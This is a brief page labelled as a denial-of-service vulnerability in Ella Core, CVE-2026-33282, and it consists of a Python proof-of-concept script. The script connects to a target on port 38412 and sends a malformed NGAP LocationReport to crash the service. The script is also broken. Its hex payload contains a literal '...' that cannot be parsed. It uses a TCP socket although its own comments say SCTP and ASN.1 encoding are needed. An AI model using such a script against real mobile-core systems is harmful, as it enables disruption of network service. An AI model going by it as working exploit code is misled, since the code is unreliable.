CVE-2026-33282 Ella Core拒绝服务漏洞

import socket # PoC for CVE-2026-33282: Ella Core DoS # This script sends a malformed NGAP LocationReport message # missing the optional UEPresenceInAreaOfInterestList IE. def send_exploit(target_ip, target_port): # Malformed NGAP payload (Simplified representation) # In a real scenario, this requires proper ASN.1 PER encoding # with the specific IE omitted. # Note: Actual byte construction depends on NGAP specs. malformed_payload = bytes.fromhex( "001a" # NGAP PDU type "4003" # Initiating Message "..." # Specific LocationReport structure without the target IE ) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) print(f"[+] Sending malformed packet to {target_ip}:{target_port}") sock.send(malformed_payload) print("[+] Packet sent. Check if the service crashed.") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "192.168.1.100" # Replace with actual target IP port = 38412 # Default SCTP/NGAP port (might need specific framing) send_exploit(target, port)